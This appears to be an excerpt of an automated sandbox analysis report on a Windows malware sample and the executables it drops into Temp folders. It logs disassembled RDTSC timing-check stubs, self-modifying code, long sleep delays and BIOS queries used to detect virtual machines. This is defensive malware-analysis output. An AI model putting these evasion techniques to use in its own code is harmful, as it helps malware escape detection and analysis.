Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90996 second address: 4E90A1B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6928B6AE89h 0x00000008 or al, 00000066h 0x0000000b jmp 00007F6928B6AE81h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F6928B6AE89h 0x00000020 sub al, 00000076h 0x00000023 jmp 00007F6928B6AE81h 0x00000028 popfd 0x00000029 mov ah, 52h 0x0000002b popad 0x0000002c xchg eax, esi 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F6928B6AE86h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90A1B second address: 4E90A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6928EA458Bh 0x00000015 or ah, 0000000Eh 0x00000018 jmp 00007F6928EA4599h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F6928EA4590h 0x00000024 sub ah, FFFFFF88h 0x00000027 jmp 00007F6928EA458Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90A7A second address: 4E90AB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6928B6AE89h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90AB6 second address: 4E90ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90ABA second address: 4E90AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90AC0 second address: 4E90AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6928EA458Ah 0x00000009 xor esi, 0325E478h 0x0000000f jmp 00007F6928EA458Bh 0x00000014 popfd 0x00000015 mov bx, si 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b test esi, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6928EA458Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90AF8 second address: 4E90AFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90AFE second address: 4E90B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90B04 second address: 4E90B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90B08 second address: 4E90B6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F699AF39E04h 0x0000000e jmp 00007F6928EA4594h 0x00000013 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001a pushad 0x0000001b mov ax, 494Dh 0x0000001f pushfd 0x00000020 jmp 00007F6928EA458Ah 0x00000025 or si, F068h 0x0000002a jmp 00007F6928EA458Bh 0x0000002f popfd 0x00000030 popad 0x00000031 mov ecx, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F6928EA4595h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90B6C second address: 4E90B72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90B72 second address: 4E90B76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90B76 second address: 4E90BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F699AC0069Bh 0x0000000e jmp 00007F6928B6AE7Fh 0x00000013 test byte ptr [76FB6968h], 00000002h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f mov esi, edi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90BA2 second address: 4E90BBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA458Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F699AF39D8Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90BBB second address: 4E90BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90BC3 second address: 4E90BDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov di, si 0x00000014 mov ebx, eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90BDA second address: 4E90C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 call 00007F6928B6AE85h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f jmp 00007F6928B6AE7Ch 0x00000014 mov dword ptr [esp], ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6928B6AE87h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C21 second address: 4E90C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C27 second address: 4E90C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C2B second address: 4E90C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C2F second address: 4E90C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6928B6AE83h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C4D second address: 4E90C61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C61 second address: 4E90C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C65 second address: 4E90C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4595h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90C7E second address: 4E90CB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928B6AE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+14h] 0x0000000c pushad 0x0000000d mov di, cx 0x00000010 mov cx, 444Fh 0x00000014 popad 0x00000015 push dword ptr [ebp+10h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6928B6AE7Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90CB2 second address: 4E90CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90CB8 second address: 4E90CC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928B6AE7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E00 second address: 4EA0E04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E04 second address: 4EA0E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E0A second address: 4EA0E68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6928EA4592h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F6928EA4591h 0x00000011 sbb eax, 48CE92E6h 0x00000017 jmp 00007F6928EA4591h 0x0000001c popfd 0x0000001d mov ch, 11h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F6928EA4596h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E68 second address: 4EA0E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 jmp 00007F6928B6AE7Dh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 call 00007F6928B6AE83h 0x00000015 mov ch, DFh 0x00000017 pop edx 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E9E second address: 4EA0EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EA2 second address: 4EA0EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EA6 second address: 4EA0EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0AEA second address: 4EA0AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0AF0 second address: 4EA0AF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0AF5 second address: 4EA0B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, 65A9h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ecx, 604EECC7h 0x00000014 mov cx, 8E63h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B0E second address: 4EA0B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6928EA4594h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B26 second address: 4EA0B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0B2A second address: 4EA0B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6928EA458Ah 0x00000010 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42EC6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 42ED21 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 668A26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B0EC6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B0ED21 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D48A26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Special instruction interceptor: First address: 123DB79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Special instruction interceptor: First address: 123DAB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Special instruction interceptor: First address: 13E6BFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Special instruction interceptor: First address: 1468F18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Special instruction interceptor: First address: 7F7B48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Special instruction interceptor: First address: 7F7A43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Special instruction interceptor: First address: 99BD83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Special instruction interceptor: First address: A21FEC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Special instruction interceptor: First address: 103FD59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Special instruction interceptor: First address: 126BD70 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Special instruction interceptor: First address: 27DAC3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Special instruction interceptor: First address: 27DA2A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Special instruction interceptor: First address: 512AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Special instruction interceptor: First address: 510432 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Special instruction interceptor: First address: 6E8939 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Special instruction interceptor: First address: 6C7A0B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Special instruction interceptor: First address: 74DBAF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Memory allocated: EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Memory allocated: 2A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Memory allocated: 4A80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Memory allocated: 5120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Memory allocated: 5540000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Memory allocated: 5240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Memory allocated: 4CD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Memory allocated: 4E40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Memory allocated: 6E40000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F10A12 rdtsc

0_2_04F10A12

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 600	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1185	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1186	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1155	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1190	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Window / User API: threadDelayed 9065	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

API coverage: 0.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep count: 600 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep time: -1200600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7588	Thread sleep count: 1185 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7588	Thread sleep time: -2371185s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7580	Thread sleep count: 1186 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7580	Thread sleep time: -2373186s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7676	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7568	Thread sleep count: 255 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7568	Thread sleep time: -7650000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7604	Thread sleep count: 1155 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7604	Thread sleep time: -2311155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7592	Thread sleep count: 1190 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7592	Thread sleep time: -2381190s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe TID: 7800	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe TID: 7816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe TID: 7864	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7988	Thread sleep count: 104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7988	Thread sleep time: -208104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 8000	Thread sleep count: 98 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 8000	Thread sleep time: -196098s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7996	Thread sleep count: 103 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7996	Thread sleep time: -206103s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7976	Thread sleep count: 9065 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7976	Thread sleep time: -18139065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7984	Thread sleep count: 104 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7984	Thread sleep time: -208104s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 8004	Thread sleep count: 101 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 8004	Thread sleep time: -202101s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7980	Thread sleep count: 109 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe TID: 7980	Thread sleep time: -218109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 5332	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 6564	Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 6564	Thread sleep time: -66033s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 6788	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 4584	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 6908	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 1900	Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 6468	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 7128	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 4504	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe TID: 2564	Thread sleep count: 107 > 30
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe TID: 2564	Thread sleep count: 124 > 30
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 2792	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 2792	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 3396	Thread sleep time: -56028s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 7432	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 7432	Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 3104	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 3668	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 7416	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 7428	Thread sleep time: -34017s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 7400	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe TID: 7400	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe TID: 1208	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 1640	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 2336	Thread sleep count: 243 > 30
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe TID: 2336	Thread sleep time: -1458000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe TID: 5248	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe TID: 5248	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe TID: 7164	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

